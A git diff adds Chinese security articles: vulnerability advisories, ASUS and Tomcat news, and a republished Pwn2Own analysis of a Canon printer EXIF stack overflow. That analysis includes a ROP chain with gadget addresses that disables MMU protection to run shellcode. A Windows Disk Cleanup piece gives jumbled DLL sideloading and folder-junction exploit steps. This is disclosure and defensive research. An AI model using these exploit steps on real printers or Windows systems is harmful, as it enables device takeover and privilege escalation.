+## 漏洞影响 + +攻击者可利用此漏洞获取敏感信息，进一步利用可能获取目标系统权限。 + + +**处置优先级：高** + +漏洞类型： +SQL注入 + +**漏洞危害等级：** +高 + +**触发方式：** +网络远程 + +**权限认证要求：** +无需权限 + +**系统配置要求：** +默认配置 + +**用户交互要求：** +无需用户交互 + +**利用成熟度：** +POC/EXP 未公开 + +**修复复杂度：** +低， +官方提供补丁修复方案 + + + + + +**影响版本** + +  +Affects +  + + + +**02** +``` +``` + +**解决方案** + +  +Solution +  + + + +**03** + +## + +## 临时缓解方案限制访问来源地址，如非必要，不要将系统开放在互联网上 + +## 升级修复方案官方已发布升级补丁包，支持在线升级和离线补丁安装，下载地址：https://www.weaver.com.cn/cs/securityDownload.html?src=cn漏洞复现Reproduction 04产品支持Support05云图：默认支持该产品的指纹识别，同时支持该漏洞的PoC检测洞鉴：预计2025.6.17发布自定义POC支持该漏洞的PoC检测雷池：默认支持检测全悉：默认支持检测 + + + +**时间线** + +  +Timeline +  + + + +**06** + +6月17日 长亭安全应急响应中心发布通告 + + +**长亭应急响应服务** + + + + +全力进行产品升级 + +及时将风险提示预案发送给客户 + +检测业务是否受到此次漏洞影响 + +请联系长亭应急服务团队 + +7*24小时，守护您的安全 + + +第一时间找到我们： + +邮箱：support@chaitin.com + diff --git a/doc/2025-06/【高危漏洞预警】Apache Tomcat认证绕过漏洞(CVE-2025-49125).md b/doc/2025-06/【高危漏洞预警】Apache Tomcat认证绕过漏洞(CVE-2025-49125).md new file mode 100644 index 00000000..8ca4083b --- /dev/null +++ b/doc/2025-06/【高危漏洞预警】Apache Tomcat认证绕过漏洞(CVE-2025-49125).md @@ -0,0 +1,38 @@ +# 【高危漏洞预警】Apache Tomcat认证绕过漏洞(CVE-2025-49125) +cexlife 飓风网络安全 2025-06-17 08:29 + +![](https://mmbiz.qpic.cn/mmbiz_png/ibhQpAia4xu0275ZOFCnkNMHRRtlFfPOgvhxLONphR80JtxbickMKFExcevWmk5opGeOypDXcUIwt8UPh8c3EB0mg/640?wx_fmt=png&from=appmsg "") + +漏洞描述: + +Aрасhе Tоmсаt是一个开源的Wеb服务器和Sеrvlеt容器,广泛应用于Wеb应用的部署和管理,该漏洞产生于使用PrеRеѕоurсеѕ或PоѕtRеѕоurсеѕ挂载在wеb应用程序根目录之外的位置时,攻击者可能通过一个非预期的路径访问这些资源,该路径可能没有受到预期路径相同的安全约束保护,从而允许绕过这些安全约束。 + +影响产品: + +Apache Tomcat < 11.0.8, Apache Tomcat < 10.1.42, Apache Tomcat < 9.0.106  + +检测方法: + +检查应用的配置,确认PreResources和PostResources是否仅在预期路径下可访问 + +修复建议: + +补丁名称: + +Aрасhе Tоmсаt认证绕过漏洞的补丁-更新至最新版本11.0.8 + +文件链接: + +https://github.com/apache/tomcat/releases/tag/11.0.8  + +升级到Aрасhе Tоmсаt 11.0.8、10.1.42或9.0.106版本修复了该问题 + +缓解措施: + +限制对PrеRеѕоurсеѕ和PоѕtRеѕоurсеѕ的访问,确保所有路径都受到适当的安全约束保护。 + +参考链接: + +https://lists.apache.org/thread/m66cytbfrty9k7dc4cg6tl1czhsnbywk  + + diff --git a/doc/2025-06/佳能imageCLASS打印机RCE漏洞分析.md b/doc/2025-06/佳能imageCLASS打印机RCE漏洞分析.md new file mode 100644 index 00000000..63790654 --- /dev/null +++ b/doc/2025-06/佳能imageCLASS打印机RCE漏洞分析.md @@ -0,0 +1,250 @@ +# 佳能imageCLASS打印机RCE漏洞分析 +原创 nil 山石网科安全技术研究院 2025-06-17 09:05 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_gif/NGIAw2Z6vnLzibrp7C4HmazCNIQXMJIRxvbibNMMmxDGrTN0Z9ibYzXnSNKobTzADCPgdo1b7ukKNARFEicHqQiajWw/640?wx_fmt=gif&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NGIAw2Z6vnLSsTccx7j0fJVU0OOoqKA8Jb8ZACqDjPdMzgicp2SzdZ19mFnVcBO53s1uA2cSfarQkwibVUeCeH9w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + +**** +**** +**黑客如何在打印机上“大闹天宫”？Pwn2Own爱尔兰站2024佳能打印机漏洞利用全揭秘！** + +**** +**** +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/NGIAw2Z6vnLKuKAwMiaYedpTAYugKibaTBsHzf5pDuztECgfIgOfpG5DRF31jzhosMEj23dlx186q0zgLaIZj9lA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + + +2024年，Neodyme团队征战Pwn2Own爱尔兰站，再度聚焦“SOHO Smashup”这一极具挑战性的竞赛类别，延续2022年多伦多站的技术探索。在此次赛事中，该团队成功突破QNAP QHora-322路由器防线，并以此为跳板，横向渗透至佳能imageCLASS MF656Cdw打印机。本文将深入剖析打印机漏洞，从底层技术原理切入，完整呈现如何通过重新配置实时操作系统（RTOS）的内存管理单元（MMU），最终实现Shellcode执行的精彩过程。 + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NGIAw2Z6vnLSsTccx7j0fJVU0OOoqKA8lvpAJHElQA6DiaJniaZb0daO3Kppz9ndV9Z2hHsjMuH61r2hu0jesGSg/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +**一、漏洞挖掘** + +**** +**（一）固件提取方法** + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NGIAw2Z6vnLSsTccx7j0fJVU0OOoqKA8WFHRW8Evk0zcqAPJSmSRktqm69UXCNGtz8L1sz1g1Wg3sEYViamG90Q/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + +在固件漏洞挖掘工作中，获取固件是首要环节。参考Synacktiv团队固件提取思路，该团队采用该品牌同系列打印机早期版本的固件提取流程，结合本次目标设备特性开展操作。在进一步挖掘中，该团队发现目标打印机通过UART接口开放了DryOS Shell。但与早期版本相比，该Shell的功能出现明显缩水，其中用于内存查看与修改的 +xd +、 +xm +指令已被移除。尽管固件底层仍保留相关操作基本指令，但缺失关键内存调试指令，使得在操作系统崩溃后，DryOS Shell难以获取寄存器值、MMU状态等核心系统信息，极大削弱了其在漏洞分析中的辅助作用。 + + +**（二）挖掘思路** + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NGIAw2Z6vnLSsTccx7j0fJVU0OOoqKA8WFHRW8Evk0zcqAPJSmSRktqm69UXCNGtz8L1sz1g1Wg3sEYViamG90Q/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +该团队在参与Pwn2Own竞赛时面临着如下挑战: +- 如何获取设备的网络访问权限？ + +- 如何重启设备？ + +- 如何从UART等硬件接口获取日志？ + +- 如何实现中间人（MitM）并观察流量（如通过DNS劫持）？ + +为应对这些难题，该团队将所有打印机和硬件设备运送至家庭网络中，并依托大型服务器机架搭建远程实验环境。通过VPN实现安全的远程访问，借助Home Assistant智能家居框架集成智能插座，实现设备的远程重启。同时，将不同UART接口接入服务器机架，配合 +screen +工具，便于轻松实现硬件日志的远程抓取。在网络监测方面，通过划分VLAN隔离设备，并将所有流量实时传输至Wireshark套接字进行分析。此外，利用Technitium DNS服务器，可灵活进行DNS条目远程注册，实现高效的DNS劫持与流量监控。 + + +**（三）漏洞定位** + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NGIAw2Z6vnLSsTccx7j0fJVU0OOoqKA8WFHRW8Evk0zcqAPJSmSRktqm69UXCNGtz8L1sz1g1Wg3sEYViamG90Q/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +在漏洞挖掘阶段，首先构建攻击面图谱，重点锁定两类目标： + +1.处理 +复杂二进制数据结构 +的解析器 + +2. +无需认证即可通过网络访问 +的组件（如打印作业服务） + + +由于对佳能DryOS实时操作系统较为陌生，首先从系统架构入手，深入理解其上下文切换机制与任务调度逻辑。在此基础上，通过对DryOS二进制文件的全面逆向分析，最终定位到同时支持JPEG与TIFF格式的 +EXIF解析器 +。该解析器采用状态机模型实现EXIF数据解析，经分析发现该解析器在处理EXIF数据格式的过程中存在缓冲区溢出漏洞，具体数据处理流程如下图所示。 + + +![](https://mmbiz.qpic.cn/mmbiz_png/Gw8FuwXLJnTJ9iauSbHfo1hEiaWNHKCarINCWP1DqZDlQjpuw4Fwjcl5ke7W84ZNubqTawj13lU8IcR0qVXpJ2RA/640?wx_fmt=png&from=appmsg "") + + +**（四）EXIF文件** + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NGIAw2Z6vnLSsTccx7j0fJVU0OOoqKA8WFHRW8Evk0zcqAPJSmSRktqm69UXCNGtz8L1sz1g1Wg3sEYViamG90Q/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +文件结构 + +EXIF文件格式由文件头和IFD（图像文件目录）构成。其中IFD本质上是一个条目目录，包含条目数量及具体条目内容。每个条目包含标签（tag）、组件数量、单组件数据大小，以及值信息（若数据大小超过4字节，则存储为数据偏移量）,为了方便大家理解，这边用C代码描述该文件数据格式。 + +``` +// EXIF 文件由 TIFF 格式封装，核心结构包含头部和 IFD 目录typedefstruct {    uint16_t byte_order;       // 字节序（大端 II=0x4949，小端 MM=0x4D4D）    uint16_t version;          // TIFF 版本（通常为 0x002A）    uint32_t first_ifd_offset; // 第一个 IFD（图像文件目录）的偏移地址} EXIF_FileHeader;// IFD（图像文件目录）条目typedefstruct {    uint16_t tag;              // 标签（如 XResolution=0x011A，YResolution=0x011B）    uint16_t type;             // 数据类型（如 5=无符号有理数 SRATIONAL）    uint32_t count;            // 组件数量    union {        uint8_t  bytes[4];     // 若数据大小 ≤4 字节，直接存储值        uint32_t offset;       // 若数据大小 >4 字节，存储数据偏移地址    } value;} EXIF_IFDEntry;// IFD 目录typedefstruct {    uint32_t entry_count;      // 条目数量    EXIF_IFDEntry entries[1];  // 可变长度条目数组（实际数量由 entry_count 决定）    uint32_t next_ifd_offset;  // 下一个 IFD 的偏移地址（0 表示结束）} EXIF_IFD; +``` + + +解析过程 + +EXIF解析器通过遍历IFD条目以提取打印所需信息（如图像宽高），其中宽高数据存储于XResolution（0x011a）、YResolution（0x011b）标签中。以下是佳能固件中IFD解析逻辑的关键流程-伪代码： + +``` +nt __fastcall read_exif_table_buffer_overflow(tiff_parser *a1, int a2){unsignedint *buf; // r1unsignedint some_type; // r0unsignedint num_components; // r6int v7; // r8bool v8; // zfint table_size; // r7  [...]int32x4_t stack_value; // [sp+4h] [bp-74h] BYREFunsignedint v25; // [sp+44h] [bp-34h]unsignedint v26; // [sp+48h] [bp-30h]int v27; // [sp+4Ch] [bp-2Ch]memset(&stack_value, 0x40u);  buf = (unsignedint *)a1->buf;  some_type = *buf; // [1]  num_components = buf[1]; // [2]  current_tag = (unsigned __int16)*buf; // [3]  v8 = current_tag == 0x102;                             // BitsPerSampleif ( current_tag != 0x102 )    v8 = (unsigned __int16)some_type == 0x11A;           // XResolutionif ( !v8 && current_tag != 0x11B )                     // YResolution  {    if ( current_tag == 0x15B )                          // JPEGTables    {      v22 = analyse_status_to_string((unsigned __int8 *)off_40F928CC, (_DWORD *)analyse_status);      exif_log(2630, 3, "[Pipe][%s]: ERROR!Not Supported [JpegTable] line:%d\n", v22, 1258);    }    else    {      if ( current_tag != 0x190 )                        // GlobalParametersIFD        return malloc_or_free((int)a1);      v23 = analyse_status_to_string((unsigned __int8 *)off_40F928CC, (_DWORD *)analyse_status);      exif_log(2630, 3, "[Pipe][%s]: ERROR!Not Supported [GlobalParametersIFD] line:%d\n", v23, 1264);    }    a1->error_code = 3;    return 5;  }  table_size = get_table_size(HIWORD(some_type)); // [4]  v10 = exif_analyser_read((int)&stack_value, num_components * table_size, a1); // [5]  // [...] +``` + + +EXIF数据通过用户输入的二进制流（ +a1->buf +）读取，其解析过程如下： + +1. +字段提取 +：按规范依次读取数据类型（ +some_type +）、组件数量（ +num_components +）和标签（ +current_tag +），对应代码注释中的 +[1] +、 +[2] +、 +[3] +处。 + + +2. +标签校验 +：程序检查标签是否为目标值（如 +XResolution +），若不匹配则跳过处理。 + + +3. +内存分配漏洞 +： +- 在 +[4] +处，通过 +get_table_size +函数将数据类型转换为单组件字节数（例如，类型 +9 +对应 +LONG +类型，占4字节）。 + +- 该值与组件数量相乘，得到总数据长度，随后在 +[5] +处将数据写入 +固定大小 +为0x40字节的栈缓冲区 +。 + +- 关键缺陷 +：若攻击者构造异常数据类型或组件数量（如类型 +9 +搭配超大组件数量），计算出的总长度可能远超缓冲区容量，导致 +栈缓冲区溢出 +，覆盖返回地址或寄存器值。 + +触发崩溃 + +如何构造触发漏洞的TIFF格式EXIF文件？关键在于为XResolution标签指定非常规数据类型，并通过偏移量间接引用数据而非直接存储值。由于标准EXIF工具会过滤此类异常构造，我们只能借助十六进制编辑器手动编写文件结构。值得庆幸的是，exiftool内置的交互式可视化工具提供了清晰的标签映射界面，帮助精准定位字段偏移与二进制布局，通过填充大量重复的'a'字符用于填充溢出数据，具体操作如下图所示。 + + +![](https://mmbiz.qpic.cn/mmbiz_png/Gw8FuwXLJnTJ9iauSbHfo1hEiaWNHKCarINmPnkXmJHUpibPPSwba0icLkDX3YZIXR3SK2DzajwAqRKdM829mD7yLg/640?wx_fmt=png&from=appmsg "") + + +将构造好的TIFF文件作为打印作业发送至目标打印机后，最终通过UART接口捕获到操作系统崩溃日志。 + +``` +< Error Exception > CORE : 0        TYPE : prefetch ISR  : FALSE    TASK ID   : 155 TASK Name : prd_mdprint R 0  : 00000005  R 1  : 4a915b4a  R 2  : 4a21cbfc  R 3  : 4a21cbfc  R 4  : 61616175  R 5  : 61616176  R 6  : 61616177  R 7  : 61616178  R 8  : 61616179  R 9  : 6261617a  R10  : 62616162  R11  : 62616163  R12  : 61706261  R13  : 4a21cbc8  R14  : 40f921e0  PC   : 62616164  PSR  : 20000013  CTRL : 00c5187d         IE(31)=0         TE(30)=0 +``` + + +该栈缓冲区溢出原语具备高度可控性：攻击者可精准界定越界覆盖的字节长度，除覆盖程序计数器（PC，值为 +0x62616164 +，对应十六进制字符串"baaa"）外，还能在寄存器从栈帧恢复阶段，将多数寄存器值篡改至攻击者可控状态。从攻击面差异分析，JPEG格式的EXIF解析器因可能经历过历史漏洞利用，其防御机制更完善；而TIFF格式的EXIF解析器没经过同样严格的安全测试，所以还存在上面说的栈溢出漏洞。 + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NGIAw2Z6vnLSsTccx7j0fJVU0OOoqKA8lvpAJHElQA6DiaJniaZb0daO3Kppz9ndV9Z2hHsjMuH61r2hu0jesGSg/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +**二、漏洞利用** + +**** + +DryOS作为一款轻量级实时操作系统（RTOS），未启用栈金丝雀（stack canaries）、地址空间布局随机化（ASLR）等安全防护机制。参考此前Pwn2Own竞赛中Synacktiv团队的公开方案，其利用栈溢出向静态内存写入Shellcode，并通过劫持执行流跳转至该地址（Shellcode通过BJNP SessionStart消息传递至打印机）。尽管内存地址和执行流指向正确，但操作系统跳转后崩溃。通过UART日志分析，确认佳能固件已引入 +NX（不可执行）保护 +，导致存储Shellcode的消息缓冲区内存区域被标记为不可执行，触发页面访问错误。由于打印机RTOS未实现权限分离，漏洞所在的解析模块以高权限运行。基于ARM架构特性，可通过修改内存管理单元（MMU）的 +域访问控制位 +为“管理模式”，绕过内存执行限制。具体方案为：构造 +ROP链 +激活管理模式，再跳转至消息缓冲区中的Shellcode。ROP链构造的核心是复用固件中现有的MMU配置函数，通过寻找特定gadget（如寄存器操作指令序列），利用ARM特权指令重新配置MMU域权限，使不可执行内存区域变为可执行。固件中存在的MMU配置函数为这一利用提供了关键支撑，如下代码所示。 + +``` +ROM:411AEDDC ; int __fastcall sub_411AEDDC(int)ROM:411AEDDC sub_411AEDDC                            ; CODE XREF: ROM:40BB570C↑pROM:411AEDDC                                         ; ROM:40BB57A0↑pROM:411AEDDC                 LDR             R1, =0x55555555ROM:411AEDE0                 MCR             p15, 0, R1,c3,c0, 0// [1] Jump hereROM:411AEDE4                 LDR             R1, =0xFFFFC000ROM:411AEDE8                 AND             R0, R0, R1ROM:411AEDEC                 MOV             R1, #0ROM:411AEDF0                 ORR             R0, R0, R1ROM:411AEDF4                 MCR             p15, 0, R0,c2,c0, 0ROM:411AEDF8                 MOV             R1, #0ROM:411AEDFC                 MCR             p15, 0, R1,c8,c7, 0ROM:411AEE00                 MRC             p15, 0, R1,c1,c0, 0ROM:411AEE04                 ORR             R1, R1, #1ROM:411AEE08                 DSB             SYROM:411AEE0C                 MCR             p15, 0, R1,c1,c0, 0ROM:411AEE10                 ISB             SYROM:411AEE14                 BX              LR +``` + + +利用方法: +- 将所有域的访问权限设置为“客户端模式” + +- 设置转换表的基地址 + +- 使转换后备缓冲器（TLB）失效 + +- 在系统控制寄存器中启用内存管理单元（MMU） + +- 使用屏障指令（DSB/ISB）确保正确的内存和指令顺序 + +从技术实现角度来看，此代码片段通过R0寄存器传递页表基址，完成了对ARM架构内存管理单元（MMU）的初始化配置。具体而言，其通过设置TTBR0（转换表基址寄存器0）建立虚拟地址到物理地址的映射关系，并将SCTLR（系统控制寄存器）的XN位（eXecute Never）置1以激活NX（不可执行）保护机制，从而确保数据段（如栈、堆）不会被误解析为可执行代码。 + + +在安全攻防层面，该团队采用了基于域访问控制机制的特权提升策略。通过构造精心设计的ROP（返回导向编程）链，利用内核空间中存在的可控内存操作原语，将DACR（域访问控制寄存器）的16个域访问权限位全部设置为0b11（对应0xffffffff），即Manager模式。这种配置会使MMU在进行地址转换时忽略页表条目中XN位的限制，从而允许在原本被标记为不可执行的内存区域执行恶意代码。 + +``` +# Static address of the BNJP message buffer. Search MFNP Cmd. There is a referece at beginning of functionBJNP_BUF = 0x47429460# Offset into function, which sets the mode of the MMUDISABLE_ACCESS_CHECKS = 0x411aede0# Return gadget GADGET_RET = 0x40b03de0 + 1# 0x00000000413dbcce : pop.w {r1, r2, r3, r4, r6, lr, pc} ;GADGET_POP_LR = 0x413dbcce + 1# : pop {r0, r1, pc}POP_R0_R1_PC = 0x0000000040d74f10 + 1rop_chain = b""rop_chain += p32(POP_R0_R1_PC)rop_chain += p32(0x400fc000) # R0: Hardcoded value from the binaryrop_chain += p32(0xffffffff) # R1: Set manager bitsrop_chain += p32(GADGET_POP_LR) # PC: Next gadgetrop_chain += p32(0xffffffff) # R1: Set manager bitsrop_chain += p32(0x22222222) # R2rop_chain += p32(0x33333333) # R3rop_chain += p32(0x77777777) # R4rop_chain += p32(0x88888888) # R6rop_chain += p32(GADGET_RET) # LR: Executed at end of functionrop_chain += p32(DISABLE_ACCESS_CHECKS) # PC: Offset into our function setting the manager bitsrop_chain += p32(BJNP_BUF) # Last gadget: Return to shellcode +``` + + +在上述exploit执行流程中，我们首先通过寄存器传递关键参数：将R0设为页表基址指针，R1设为域访问控制位（DACR），完成对MMU初始状态的配置。随后利用GADGET_POP_LR指令片段劫持控制流，将链接寄存器LR的值覆为RET地址，确保首个gadget函数执行完毕后跳转至预期位置。紧接着，程序跳转到B地址处执行MMU重配置代码，通过修改域访问权限（将所有域设为Manager模式）绕过NX保护。最终，通过RET指令跳转至JNP_BUF，将执行权移交至预加载在缓冲区中的shellcode，实现任意代码执行。 + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NGIAw2Z6vnLSsTccx7j0fJVU0OOoqKA8lvpAJHElQA6DiaJniaZb0daO3Kppz9ndV9Z2hHsjMuH61r2hu0jesGSg/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +**三、总结** + +**** + +在本文中，我们详细解析了如何在打印机系统中定位漏洞，并通过精心构造的攻击路径成功实现远程代码执行（RCE），同时绕过了佳能固件中近期新增的安全防护机制 +。 + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NGIAw2Z6vnLSsTccx7j0fJVU0OOoqKA8lvpAJHElQA6DiaJniaZb0daO3Kppz9ndV9Z2hHsjMuH61r2hu0jesGSg/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +**四、相关链接** + +**** + +https://neodyme.io/en/blog/pwn2own-2024_canon_rce/ + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NGIAw2Z6vnLSsTccx7j0fJVU0OOoqKA8KrXv9sZf93yt4huq2kARyZSgmdnic40GayohIYiaD2FAkkAqJehJSMtQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +山石网科是中国网络安全行业的技术创新领导厂商，由一批知名网络安全技术骨干于2007年创立，并以首批网络安全企业的身份，于2019年9月登陆科创板（股票简称：山石网科，股票代码：688030）。 + +现阶段，山石网科掌握30项自主研发核心技术，申请560多项国内外专利。山石网科于2019年起，积极布局信创领域，致力于推动国内信息技术创新，并于2021年正式启动安全芯片战略。2023年进行自研ASIC安全芯片的技术研发，旨在通过自主创新，为用户提供更高效、更安全的网络安全保障。目前，山石网科已形成了具备“全息、量化、智能、协同”四大技术特点的涉及 +基础设施安全、云安全、数据安全、应用安全、安全运营、工业互联网安全、信息技术应用创新、安全服务、安全教育等九大类产品服务，50余个行业和场景的完整解决方案。 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_gif/NGIAw2Z6vnLzibrp7C4HmazCNIQXMJIRxPibycdiaNQCI4PNojUk3eYCQDZs6c5zNMUkq7yFNeYQIxicAV33eHNdFA/640?wx_fmt=gif&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + + diff --git a/doc/2025-06/华硕 Armoury Crate漏洞可导致攻击者获取Windows 管理员权限.md b/doc/2025-06/华硕 Armoury Crate漏洞可导致攻击者获取Windows 管理员权限.md new file mode 100644 index 00000000..c54b9002 --- /dev/null +++ b/doc/2025-06/华硕 Armoury Crate漏洞可导致攻击者获取Windows 管理员权限.md @@ -0,0 +1,100 @@ +# 华硕 Armoury Crate漏洞可导致攻击者获取Windows 管理员权限 +Bill Toulas 代码卫士 2025-06-17 10:40 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Az5ZsrEic9ot90z9etZLlU7OTaPOdibteeibJMMmbwc29aJlDOmUicibIRoLdcuEQjtHQ2qjVtZBt0M5eVbYoQzlHiaw/640?wx_fmt=gif "") +   +聚焦源代码安全，网罗国内外最新资讯！ + +**编译：代码卫士** + +**华硕Armoury Crate软件中存在一个高危漏洞，可导致威胁人员在Windows设备上提权至系统权限。该漏洞是CVE-2025-3464，CVSS评分8.8。** + +![](https://mmbiz.qpic.cn/mmbiz_png/oBANLWYScMSW47rBFzuOCUm7ezhoRFVzofFc6icb0ozGx0q56Fv57KABKjPOnhTI3RRJbzFRTDO7SClpVZt3UYw/640?wx_fmt=png&from=appmsg "") + + +该漏洞可用于绕过授权，影响 Armoury Crate 系统管理软件的 AsIO3.sys 版本。Armoury Crate 是华硕 Windows 的官方系统控制软件，为控制RGB灯光 (Aura Sync)、调整风扇弧度、管理性能配置和华硕外围设备以及下载驱动和固件更新提供统一接口。 + +为了执行所有这些功能并提供底层系统监控，该软件套件使用内核驱动访问和控制硬件特性。思科Talos团队的研究员 Marcin “Icewall” Noga 报送了该漏洞。 + +思科Talos 团队发布安全公告提到，该漏洞在于驱动基于 AsusCertService.exe的硬编码 SHA-256哈希和一个PID允许列表验证调用函数，而非使用正确的OS级别的访问控制。利用该漏洞需要创建从一个非恶意测试app到一个虚假可执行文件的硬链接。攻击者启动该app，暂停并将该硬链接指向 AsusCertService.exe。当该驱动检查该文件的 SHA-256哈希时，它会读取现已链接的可信二进制，使该测试 app 绕过授权并获得对驱动的访问权限。这就使得攻击者能够获得底层系统权限，从而直接访问物理内存、I/O端口和特定模型的注册表 (MSRs)，从而导致OS易受攻陷。 + +值得注意的是，攻击者必须已经在该系统（恶意软件感染、钓鱼攻击、受陷低权限账户）才能利用CVE-2025-3464。然而，该漏洞在全球计算机上大量部署，因此这个庞大的攻击面足以吸引攻击者的火力。 + +研究人员已正式开漏洞影响 Armoury Crate 5.9.13.0版本，但华硕在安全通告中提到，该漏洞影响5.9.9.0至6.1.18.0之间的所有版本。要缓解该漏洞，建议打开 Armoury Crate app，进入“设置＞更新中心＞检查更新＞更新”应用最新更新。 + +2月份，思科将该漏洞报送给华硕，但截止目前尚未出现在野利用。不过，“华硕强烈建议用户将 Armoury Crate 更新至最新版本”。 + +Windows 内核驱动漏洞可导致本地提权后果，非常受黑客欢迎，包括勒索团伙、恶意软件团伙以及政府机构威胁组织等。 + + +**** +代码卫士试用地址： +https://codesafe.qianxin.com + +开源卫士试用地址：https://oss.qianxin.com + + + + + + + + + + + + + +**推荐阅读** + +[华硕修复严重的DriverHub 漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247522987&idx=1&sn=dd6c1684116b2d65b1efe7c80afe5945&scene=21#wechat_redirect) + + +[华硕修复严重的AMI 漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247522841&idx=1&sn=b39cd7520c5b0c63d3c0e807374feeb2&scene=21#wechat_redirect) + + +[华硕：启用AiCloud 的路由器中存在严重的认证绕过漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247522801&idx=1&sn=be29e21bdd328bab3ee1bbc42562d47e&scene=21#wechat_redirect) + + +[华硕：严重的远程绕过漏洞影响7款路由器](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247519766&idx=1&sn=e5617e80059a29c20c16b011271e8511&scene=21#wechat_redirect) + + +[华硕证实菲律宾员工数据被泄露在黑客论坛](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247519060&idx=2&sn=6105a3152e4cf58dc7f6100cc53d066c&scene=21#wechat_redirect) + + + + + +**原文链接** + +https://www.bleepingcomputer.com/news/security/asus-armoury-crate-bug-lets-attackers-get-windows-admin-privileges/ + + + +题图： +Pixabay Licen +se + +**** +**本文由奇安信编译，不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。** + + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSf7nNLWrJL6dkJp7RB8Kl4zxU9ibnQjuvo4VoZ5ic9Q91K3WshWzqEybcroVEOQpgYfx1uYgwJhlFQ/640?wx_fmt=jpeg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSN5sfviaCuvYQccJZlrr64sRlvcbdWjDic9mPQ8mBBFDCKP6VibiaNE1kDVuoIOiaIVRoTjSsSftGC8gw/640?wx_fmt=jpeg "") + +**奇安信代码卫士 (codesafe)** + +国内首个专注于软件开发安全的产品线。 + +   ![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQ5iciaeKS21icDIWSVd0M9zEhicFK0rbCJOrgpc09iaH6nvqvsIdckDfxH2K4tu9CvPJgSf7XhGHJwVyQ/640?wx_fmt=gif "") + +  +觉得不错，就点个 “ +在看 +” 或 " +赞 +” 吧~ + diff --git a/doc/2025-06/针对 Windows 磁盘清理提升漏洞的 PoC 漏洞揭晓.md b/doc/2025-06/针对 Windows 磁盘清理提升漏洞的 PoC 漏洞揭晓.md new file mode 100644 index 00000000..5a55e072 --- /dev/null +++ b/doc/2025-06/针对 Windows 磁盘清理提升漏洞的 PoC 漏洞揭晓.md @@ -0,0 +1,48 @@ +# 针对 Windows 磁盘清理提升漏洞的 PoC 漏洞揭晓 + 网安百色 2025-06-17 11:31 + +Microsoft 在 2025 年 2 月的“星期二补丁日”期间，在其 Windows 磁盘清理实用程序 （cleanmgr.exe） 中解决了一个高严重性权限提升漏洞 （CVE-2025-21420）。 + +该漏洞在 CVSS 量表上得分为 7.8，使攻击者能够通过 DLL 旁加载和目录遍历技术以 SYSTEM 权限执行恶意代码。 +## CVE-2025-21420 的技术分析 + +该漏洞源于 cleanmgr.exe 未能验证 DLL 加载路径和缓解符号链接攻击。 + +关键组件包括： + +**1. 开发机制** +- DLL 旁加载：攻击者在可写系统目录中植入恶意库（例如 ）。bash此命令链利用路径拦截漏洞加载未签名的 DLL。dokannp1.dllcp .\dokan1.dll C:\Users\\System32\System32\System32\dokannp1.dll cleanmgr /sageset:2 +- SilentCleanup 任务劫持：Windows 任务计划程序的任务（以 SYSTEM 运行）在没有适当符号链接检查的情况下删除文件夹内容。攻击者通过以下方式滥用此内容：python 通过将文件夹删除重定向到 ，攻击者触发任意文件作。SilentCleanup# Exploit script structure os.makedirs(r'C:\$Windows.~WS') os.makedirs(r'C:\ESD\Windows') open(r'C:\ESD\Windows\dummy.txt', 'w').close()C:\Config.Msi +**2. 漏洞链** + +
修补前行为补丁后缓解
符号链接没有重定向保护
SetProcessMitigationPolicy启用
从用户路径加载不受信任的 DLL
DLL 的严格签名验证
通过联结删除特权文件
CWE-59 通过路径规范化解决
